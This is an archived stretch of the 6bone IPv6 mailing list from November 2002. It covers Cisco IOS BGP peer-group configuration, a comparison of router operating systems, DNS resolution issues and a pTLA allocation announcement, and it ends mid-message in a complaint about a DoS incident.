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From: <owens@nysernet.org>
To: Gert Doering <gert@space.net>
Cc: hans.goes@wcom.com, 6bone@ISI.EDU
Subject: Re: [6bone] Cisco bug ?
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On Sat, 9 Nov 2002, Gert Doering wrote:
> If the router is doing v4 plus v6 and eventually v4 multicast, I can't
> recommend any image to you.  All 12.2T images that I've heard of are 
> broken for that purpose.

We are running 12.2(11)T and T1 on a couple of routers that have the full
array of traffic, and although there definitely are some v4 multicast bugs
they haven't been show-stoppers. (11) fixed a crasher multicast bug, and
the only other crash we know of is 'show ip sdr', which is broken in all
IOS releases AFAICT. 

I still don't recommend T images for critical production routers, but (11)
does seem like a reasonable choice if you're willing to walk just a little
bit close to the edge ;)

Bill.


From pekkas@netcore.fi Sat Nov  9 06:45:50 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: hans.goes@wcom.com
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Subject: Re: [6bone] Cisco bug ?
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On Sat, 9 Nov 2002, Hans Goes wrote:
> We're using a Cisco 7507 with a RSP4+ (256meg).
> 
> 6B1.AMS7#ping 2001:820:0:1:1::2
> 
> Type escape sequence to abort.
> Sending 5, 100-byte ICMP Echos to 2001:820:0:1:1::2, timeout is 2 seconds:
> !!!!!
> Success rate is 100 percent (5/5), round-trip min/avg/max = 40/64/100 ms
> 6B1.AMS7#conf t
> Enter configuration commands, one per line.  End with CNTL/Z.
> 6B1.AMS7(config)#router bgp 1890
> 6B1.AMS7(config-router)#neighbor 2001:820:0:1:1::2 remote-as 16186
> 6B1.AMS7(config-router)#address-family ipv6
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 activate
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> % Activate the peer-group for the address family first

Shouldn't the error message be self-evident or did I miss something; do 
you have something like:

router bgp 1890
neighbor transit
address-family ipv6
neighbor transit activate

in the config already?

> System image file is "slot0:rsp-pv-mz.122-0.5.T.bin"

That's ages old.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From hgoes@eu.uu.net Sat Nov  9 06:46:42 2002
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From: Hans Goes <hgoes@eu.uu.net>
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Subject: Re: [6bone] Cisco bug ?
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Hi ,


Thanks to all who replied. We will take a closer look in the used IOS
versions we use on the ipv6 network.

I just forgot to activate the transit peer group indeed so it's working
now :)

This box is doing ipv6 only btw.

Hans

On Sat, 9 Nov 2002, Jan Czmok wrote:

> Hans Goes (hgoes@eu.uu.net) wrote:
> > Hi,
> >
> > We're using a Cisco 7507 with a RSP4+ (256meg).
> >
> > 6B1.AMS7#ping 2001:820:0:1:1::2
> >
> > Type escape sequence to abort.
> > Sending 5, 100-byte ICMP Echos to 2001:820:0:1:1::2, timeout is 2 seconds:
> > !!!!!
> > Success rate is 100 percent (5/5), round-trip min/avg/max = 40/64/100 ms
> > 6B1.AMS7#conf t
> > Enter configuration commands, one per line.  End with CNTL/Z.
> > 6B1.AMS7(config)#router bgp 1890
> > 6B1.AMS7(config-router)#neighbor 2001:820:0:1:1::2 remote-as 16186
> > 6B1.AMS7(config-router)#address-family ipv6
> > 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 activate
> > 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> > % Activate the peer-group for the address family first
> >
> > 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 remote-as 16186
> > 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> > % Activate the peer-group for the address family first
> >
> > 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 activate
> > 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 remote-as 16186
> > 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> > % Activate the peer-group for the address family first
> >
> > Any idea ? I've had this problem a couple of times but still the same
> > problem. Sometimes a router reload helps... But that's not the way we want
> > it :)
> >
> > System image file is "slot0:rsp-pv-mz.122-0.5.T.bin"
> >
>
> it's quite easy:
>
> router bgp 1890ß
> address-family ipv6
> neighbor transit activate
>
> then then the above...
>
> --jan
>
>
> --
>      Jan Ahrent Czmok - Senior Network Engineer - Access Networks
> Global Access Telecommunications, Inc. - Stephanstr. 3 - 60313 Frankfurt
> voice: +49 69 299896-35 - fax: +49 69 299896-66 - email: czmok@gatel.de
>
>
>


Hans Goes

WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam

Tel: +31 20 7112428 (Fax: 2455)
V-Net: 711 2428
http://www.wcom.com/nl/


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Date: Sat, 9 Nov 2002 15:59:59 +0100
From: Raphael Bouaziz <raphit@noemie.org>
To: Gert Doering <gert@space.net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Cisco bug ?
Message-ID: <20021109155959.A95722@noemie.org>
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On Sat, Nov 09, 2002, Gert Doering wrote:
> If the router is doing v4 plus v6 and eventually v4 multicast, I can't
> recommend any image to you.  All 12.2T images that I've heard of are 
> broken for that purpose.

We run IPv4 and IPv6 on 12.2(2)T2, with OSPF plus BGP (for IPv4) and RIPng
plus BGP4+ (for IPv6). We didn't experience major issues. Routers include
Cisco 7120 and Cisco 7206VXR.

By the way, there is some minor or "cosmetic" bugs, such as when I do
a "show conf" on the router I get:

!
router bgp 13193
[... IPv4 stuff ...]
 neighbor 2001:7A8:0:3:: remote-as 13193
 neighbor 2001:7A8:0:3:: description * thevenin (iBGP) *
 neighbor 2001:7A8:0:3:: update-source Loopback0
 no neighbor 2001:7A8:0:3:: activate
[...]
 !
 address-family ipv6
[...]
 neighbor 2001:7A8:0:3:: activate
 neighbor 2001:7A8:0:3:: send-community
 neighbor 2001:7A8:0:3:: soft-reconfiguration inbound
[...]

Obviously, I didn't enter a "no neighbor 2001:7A8:0:3:: activate"
command in the BGP global configuration mode... But BGP4+ is working
fine.

Also, IPv6 is "almost" working on port-channel interfaces. Almost,
because IGP activates on the interface and prefixes are received,
but no traffic can go through the interface. But for now, using four
IPv6 hops to reach a system when I use only three hops to reach
the same system with its IPv4 address is not really critical.

For me, the most important point is that today, IPv6 on the routers
is not disturbing the IPv4 "production" traffic. So this image serves
my business ;-).

-- 
Raphael Bouaziz.
raphit@noemie.org - http://noemie.nerim.net/
Sysadmin Power Forever(TM).

From tvo@EnterZone.Net Sat Nov  9 08:13:48 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Kurt Roeckx <Q@ping.be>
cc: Gav <old_mc_donald@hotmail.com>, 6bone@mailman.isi.edu
Subject: Re: [6bone] www.6bone.not
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I ran into issues with a CNAME address today myself.  It was on my network
and has always worked in the past.  I am on vacation in Florida right now
and was unable to http connect to nitrous.ipv6.enterzone.net.  This was
using the wifes laptop running XP.  I could go to a command prompt and
ping it just fine.  If I put nitrous.cmh.ipv6.enterzone.net in the
browser, everything worked just fine.

Perhaps this is a problem with the resolver library in the Microsoft
software.  I have never had any issues reaching the site before but, then
again, I hadn't tried from the wifes laptop either.  


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |


On Sat, 9 Nov 2002, Kurt Roeckx wrote:

> On Sat, Nov 09, 2002 at 10:21:45AM +0800, Gav wrote:
> > I have noticed that most 6bone and related sites quote the main information site as
> > www.6bone.net , this does not and has not worked for some time. Should this not be changed to read
> > http://6bone.net as this one works (or get the www.6bone.net working).
> 
> www.6bone.net.          1H IN CNAME     6bone.net.
> 
> Looks weird to me that 1 would work and the other not.
> 
> 
> Kurt
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From tvo@EnterZone.Net Sat Nov  9 08:15:12 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: hans.goes@wcom.com
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Cisco bug ?
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You need to activate the PEER GROUP first!  Exactly what the error message
is telling you.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |


On Sat, 9 Nov 2002, Hans Goes wrote:

> Hi,
> 
> We're using a Cisco 7507 with a RSP4+ (256meg).
> 
> 6B1.AMS7#ping 2001:820:0:1:1::2
> 
> Type escape sequence to abort.
> Sending 5, 100-byte ICMP Echos to 2001:820:0:1:1::2, timeout is 2 seconds:
> !!!!!
> Success rate is 100 percent (5/5), round-trip min/avg/max = 40/64/100 ms
> 6B1.AMS7#conf t
> Enter configuration commands, one per line.  End with CNTL/Z.
> 6B1.AMS7(config)#router bgp 1890
> 6B1.AMS7(config-router)#neighbor 2001:820:0:1:1::2 remote-as 16186
> 6B1.AMS7(config-router)#address-family ipv6
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 activate
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> % Activate the peer-group for the address family first
> 
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 remote-as 16186
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> % Activate the peer-group for the address family first
> 
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 activate
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 remote-as 16186
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> % Activate the peer-group for the address family first
> 
> Any idea ? I've had this problem a couple of times but still the same
> problem. Sometimes a router reload helps... But that's not the way we want
> it :)
> 
> System image file is "slot0:rsp-pv-mz.122-0.5.T.bin"
> 
> 
> Hans
> 
> WorldCom
> EMEA Network Operations
> Joan Muyskenweg 24
> 1096 CJ Amsterdam
> 
> Tel: +31 20 7112428 (Fax: 2455)
> V-Net: 711 2428
> http://www.wcom.com/nl/
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From nicolas.deffayet@ndsoftware.net Sat Nov  9 08:35:06 2002
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Subject: Re: [6bone] best OS for ipv6 router.
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Abdul Basit <basit@basit.cc>
Cc: 6bone@ISI.EDU
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On Sat, 2002-11-09 at 12:39, Abdul Basit wrote:

Hello,

>  What's the best OS to be run as ipv6 router ?
> linux or freebsd (usagi or kame), from the facts
> we observe kame is mature(more stable) than USAGI?
> By the means of libc, does glibc supports most
> of things described in sockets programming rfc's ?
> or freebsd libc ? for example , i'm not still able
> to get exim to listen on USAGI ipv6 sockets or bind9.
> exim4 works on plain linux ipv6 support but not on  usagi
> (as far as my experience).
> 
>  In short, for an instance if you want to run a super duper
> IPv6 router what OS you should use(linux,freebsd) ? I'm not
> talking about cisco routers.

Our new routers use FreeBSD 4.7 with KAME.

Why we use now FreeBSD with KAME for our routers:

-> FreeBSD with KAME support routing of IPv6 multicast, Linux with USAGI
don't support it.

-> FreeBSD is design for do routing and have more routing fonctions,
with Linux you can get netlink errors with Zebra.

-> FreeBSD is more stable than Linux. (Yesterday our router under Linux
crashed)

-> FreeBSD with KAME have a better IPv6 support than Linux with USAGI

-> FreeBSD with KAME support IPv6 QoS (ALTQ)

Best Regards,

Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From jochen@scram.de Sat Nov  9 09:14:51 2002
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Subject: Re: [6bone] best OS for ipv6 router.
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Hi Nicolas,

if you need to do packet filtering on the router, OpenBSD seems to be even
better than FreeBSD as they have the only working stateful filter for
IPv6, IIRC.

--jochen


From itojun@itojun.org Sat Nov  9 09:17:40 2002
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Subject: Re: [6bone] best OS for ipv6 router. 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Sun, 10 Nov 2002 02:17:05 +0900
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>Our new routers use FreeBSD 4.7 with KAME.
>
>Why we use now FreeBSD with KAME for our routers:
>
>-> FreeBSD with KAME support routing of IPv6 multicast, Linux with USAGI
>don't support it.
>
>-> FreeBSD is design for do routing and have more routing fonctions,
>with Linux you can get netlink errors with Zebra.
>
>-> FreeBSD is more stable than Linux. (Yesterday our router under Linux
>crashed)
>
>-> FreeBSD with KAME have a better IPv6 support than Linux with USAGI
>
>-> FreeBSD with KAME support IPv6 QoS (ALTQ)
>
>Best Regards,

	note, however, we KAME team DO NOT recommend to run KAME-patched *BSD
	in production environment, as documented in kame README files
	(it has too much experimental stuff = unstable, and KAME tree don't
	follow security alerts issued by *BSD)

	for production use, i'd suggest using stock FreeBSD 4.7.
	(and if there's any problem in 4.7 itself, send bug reports!)

itojun

From tjc@ecs.soton.ac.uk Sat Nov  9 09:59:57 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Daniel Austin <daniel@kewlio.net>
Cc: andrew@asol.com.ph, 6bone@mailman.isi.edu
Subject: Re: [6bone] www.6bone.not
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Oh yes, the guys at BT Exact are great, but ultimately a consumer service
would be run by the same "sucky" people who run OPenworld :(   In fact we
work with BT Exact in a number of projects, and the Openworld DSL mess is
not their fault!

Do you have any other good UK recommendations for DSL (please reply off
list if you do :)

Tim

On Sat, Nov 09, 2002 at 01:31:51PM -0000, Daniel Austin wrote:
> Hi Tim,
> 
> Luckily IPv6 at BT is currently handled by BTexact, not BTopenworld ;-)
> Their ipv6 team are very helpful and i've had zero problems from them.
> 
> Sadly, their DSL sucks :)
> 
> 
> Daniel.
> 
> > Or maybe like me he's on BT Openworld's UK DSL service, which has been
> > screwed up for 10 days now, witrh customers unable to reach a lare chunk
> > of web sites. I despair for such an ISP deploying IPv6 when they can't
> > even support IPv4.
> >
> > Tim
> >
> > On Sat, Nov 09, 2002 at 11:25:14AM +0800, Madrigallos, Andrew G. wrote:
> >> To Gav,
> >>
> >> Maybe there is a problem on your DNS, www.6bone.net is working fine.
> >>
> >> Andrew
> >>   ----- Original Message -----
> >>   From: Gav
> >>   To: 6bone@mailman.isi.edu
> >>   Sent: Saturday, November 09, 2002 10:21 Andrew
> >>   Subject: [6bone] www.6bone.not
> >>
> >>
> >>   Hi All,
> >>
> >>   Not an emergency I know but if we can't get the front end to the
> >> public right! :-
> >>
> >>   I have noticed that most 6bone and related sites quote the main
> >> information site as www.6bone.net , this does not and has not worked
> >> for some time. Should this not be changed to read http://6bone.net
> >> as this one works (or get the www.6bone.net working).
> >>        Also www.6bone.com redirects to Plexos.com - a web design
> >> Company, which
> >>   contains little more than 1 page of links to other 6bone sites,
> >> whats going on there then?
> >>
> >>   Regards,
> >>
> >>   Gavin...
> >>
> >>
> >>   ---
> >>   Checked for Viruses (Viri) , Gav...
> >>   Checked by AVG anti-virus system (http://www.grisoft.com).
> >>   Version: 6.0.410 / Virus Database: 231 - Release Date: 31/10/2002
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> 
> 
> -- 
> 
> 
> With Thanks,
> 
> Daniel Austin,
> Managing Director,
> Kewlio.net Limited.
> <daniel@kewlio.net>
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From john@reva.sixgirls.org Sat Nov  9 11:11:52 2002
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Date: Sat, 9 Nov 2002 14:11:34 -0500 (EST)
From: John Klos <john@sixgirls.org>
To: Jochen Friedrich <jochen@scram.de>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
   Abdul Basit <basit@basit.cc>, <6bone@ISI.EDU>
Subject: Re: [6bone] best OS for ipv6 router.
In-Reply-To: <Pine.LNX.4.44.0211091805420.3199-100000@gfrw1044.bocc.de>
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Hi,

> if you need to do packet filtering on the router, OpenBSD seems to be even
> better than FreeBSD as they have the only working stateful filter for
> IPv6, IIRC.

NetBSD's ipfilter does IPv6, and any old hardware will do (older Sun
hardware, one can argue, will probably be more stable than a
run-of-the-mill PC, for example).

John Klos
Sixgirls Computing Labs


From jeanb@jeanb-net.com Sat Nov  9 12:44:19 2002
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Date: Sat, 9 Nov 2002 21:42:31 +0100
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Subject: [6bone] Where is NDSoftware pTLA allocation ?
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Hello,
 
I'm an IPv6-FR user (IPv6-FR depends on the NDSoftware IPv6 Network, IP
and transit) and I see that NDSoftware should be granted their pTLA
allocation. Why isn't the NDSoftware pTLA allocated ? Why isn't their
pTLA listed in http://www.6bone.net/6bone_pTLA_list.html ?
 
Will it be the next allocated : 3FFE:4013::/32 ?
Is there a reason to this mystery ?
 
Regards.
Paux Jean-Benoit

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<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<TITLE>Message</TITLE>

<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D166095519-09112002>Hello,</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D166095519-09112002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D166095519-09112002>I'm an =
IPv6-FR user=20
(IPv6-FR&nbsp;depends&nbsp;on the NDSoftware IPv6 Network, IP&nbsp;and =
transit) =20
and&nbsp;I see that NDSoftware should be granted their pTLA allocation. =
Why=20
isn't the NDSoftware pTLA allocated ? Why isn't their pTLA listed in <A=20
href=3D"http://www.6bone.net/6bone_pTLA_list.html">http://www.6bone.net/6=
bone_pTLA_list.html</A>=20
?</SPAN></FONT><FONT face=3DArial size=3D2><SPAN=20
class=3D166095519-09112002></SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D166095519-09112002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D166095519-09112002>Will =
it be the next=20
allocated : 3FFE:4013::/32 ?</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D166095519-09112002>Is =
there a reason to=20
this mystery ?</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D166095519-09112002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D166095519-09112002>Regards.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D166095519-09112002>Paux=20
Jean-Benoit</SPAN></FONT></DIV></BODY></HTML>

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From old_mc_donald@hotmail.com Sat Nov  9 18:33:10 2002
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Subject: Re: [6bone] www.6bone.not
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Message
  ----- Original Message -----=20
  From: Stewart Tansley=20
  To: Gav=20
  Sent: Saturday, November 09, 2002 10:50 AM
  Subject: RE: [6bone] www.6bone.not


  Gavin -- www.6bone.net works fine from here...

  Stewart Tansley
  Program Manager=20
  http://www.microsoft.com/ipv6/=20
    Hi Stewart & Everyone else who replied.

    It's working fine now.
    As I have IPv6 installed WinXP decided to resolve www.6bone.net to =
its IPv6 address, and as I never
    had a tunnel configured it wouldn't reach it.

    Question for Stuart then,=20

    This could present a problem for lots of Microsoft users if they =
have XP with (accidentally or not)=20
    the IPv6 stack installed. Even if a v4 version of a site exists, it =
will not be looked for as the v6 address
    of the site has not been reached, by default it seems that if a v6 =
version exists it will look for that and
    if not found will return an error.

    This is my interpretation of the recent events I have experienced.

    :)

    Regards,

    Gav...



    ---
    Checked for Viruses (Viri) , Gav...
    Checked by AVG anti-virus system (http://www.grisoft.com).
    Version: 6.0.410 / Virus Database: 231 - Release Date: 31/10/2002
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<HTML><HEAD><TITLE>Message</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dstansley@microsoft.com =
href=3D"mailto:stansley@microsoft.com">Stewart=20
  Tansley</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Dold_mc_donald@hotmail.com=20
  href=3D"mailto:old_mc_donald@hotmail.com">Gav</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, November 09, =
2002 10:50=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> RE: [6bone] <A=20
  href=3D"http://www.6bone.not">www.6bone.not</A></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT><BR></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D645414702-09112002>Gavin -- <A=20
  href=3D"http://www.6bone.net">www.6bone.net</A> works fine&nbsp;from=20
  here...</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D645414702-09112002><SPAN lang=3Den-us><B><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2></FONT></B></SPAN></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D645414702-09112002><SPAN lang=3Den-us><B><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2>Stewart Tansley</FONT><BR><FONT face=3DArial color=3D#000000 =
size=3D2>Program=20
  Manager</FONT></B></SPAN> <BR><SPAN lang=3Den-us><B><FONT face=3DArial =

  color=3D#000000 size=3D2><A=20
  =
href=3D"http://www.microsoft.com/ipv6/">http://www.microsoft.com/ipv6/</A=
></FONT>=20
  </B></SPAN></DIV></SPAN></FONT>
  <BLOCKQUOTE dir=3Dltr=20
  style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid; MARGIN-RIGHT: 0px">
    <DIV></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>Hi Stewart &amp; Everyone else who =
replied.</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>It's working fine now.</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>As I have IPv6 installed WinXP decided to =
resolve <A=20
    href=3D"http://www.6bone.net">www.6bone.net</A> to its IPv6 address, =
and as I=20
    never</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>had a tunnel configured it wouldn't reach =
it.</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>Question for Stuart then, </FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>This could present a problem for lots of =
Microsoft users=20
    if they have XP with (accidentally or not) </FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>the IPv6 stack installed. Even if a v4 version =
of a site=20
    exists, it will not be looked for as the v6 address</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>of the site has not been reached, by default =
it seems that=20
    if a v6 version exists it will look for that and</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>if not found will return an =
error.</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>This is my interpretation of the recent events =
I have=20
    experienced.</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>:)</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>Regards,</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2>Gav...</FONT></DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV>&nbsp;</DIV>
    <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
    face=3DArial size=3D2><BR>---<BR>Checked for Viruses (Viri) , =
Gav...<BR>Checked=20
    by AVG anti-virus system (<A=20
    =
href=3D"http://www.grisoft.com">http://www.grisoft.com</A>).<BR>Version: =

    6.0.410 / Virus Database: 231 - Release Date:=20
  31/10/2002</FONT></DIV></BLOCKQUOTE></BLOCKQUOTE></DIV></BODY></HTML>

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From old_mc_donald@hotmail.com Sat Nov  9 20:08:58 2002
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To: "Stewart Tansley" <stansley@microsoft.com>
Cc: <6bone@mailman.isi.edu>
References: <240659DFBDD99C4299EF7483EAD70F24EFBC2C@RED-MSG-01.redmond.corp.microsoft.com>
Subject: Re: [6bone] IPv6 connection + website.
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----- Original Message -----
From: "Stewart Tansley" <stansley@microsoft.com>

Sent: Saturday, November 09, 2002 12:11 PM
Subject: RE: [6bone] IPv6 connection + website.

> Windows .NET Server 2003 family in beta is also available, as a free
> download.

Yes, I have registered for it, auto email says it may be a few weeks before
I get it or not.
I wont hold my breath though as I am not a big Co /Org /Edu.

Thanks Anyway.

> Stewart Tansley
> Program Manager
> http://www.microsoft.com/ipv6/
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.410 / Virus Database: 231 - Release Date: 31/10/2002

From fink@es.net Sun Nov 10 18:07:22 2002
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Date: Sun, 10 Nov 2002 18:00:32 -0800
To: Pim van Pelt <pim@ipng.nl>
From: Bob Fink <fink@es.net>
Subject: Re: [6bone] NDSOFTWARE pTLA review
Cc: 6BONE List <6bone@mailman.isi.edu>, David Kessens <david@iprg.nokia.com>,
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Pim,

At 12:30 PM 11/9/2002 +0100, Pim van Pelt wrote:
>Dear committee members,
>
>| After careful review, and further questions asked of, and answered by,
>| Nicolas Deffayet, the panel unanimously agrees that NDSOFTWARE should be
>| granted their pTLA allocation.
>
>Such a decision was made only after very careful consideration and I will
>no longer doubt the validity of DEFFAYETs pTLA that will be granted to him
>and/or NDSoftware. I trust your good judgment in this case, even though
>we disagree. Thanks for the time you spent on the matter.
>
>I think Bob makes a valid point that we should revise RFC2772 to make
>the pTLA allocation request less ambiguous in the future. Let's procede
>with 6BONE and keep this list at the high quality standard that it's
>always been !

Thanks! I appreciate your support.

Bob


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From: Bob Fink <fink@es.net>
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   Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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Subject: [6bone] 6bone pTLA 3FFE:4013::/32 allocated to NDSOFTWARE
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NDSOFTWARE has been allocated pTLA 3FFE:4013::/32 having finished its 
review period.

<http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE >


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From tvo@EnterZone.Net Mon Nov 11 08:34:22 2002
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Date: Mon, 11 Nov 2002 11:34:18 -0500 (EST)
From: John Fraizer <tvo@EnterZone.Net>
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OK people.  For crying out loud.  If you see a 5Mb/s spike on v6 network,
what would this indicate to you?  To me, it indicates that some little
shit needs to be hunted down and beaten down into little turd pieces.

On top of that, if you terminate someone for DoS type activity, please do
the rest of the v6 community a favor and let us know.  We've got enough of
this garbage on v4 without allowing it in v6.

Our network was involved (in a transit capacity) in a v6 DoS last from 
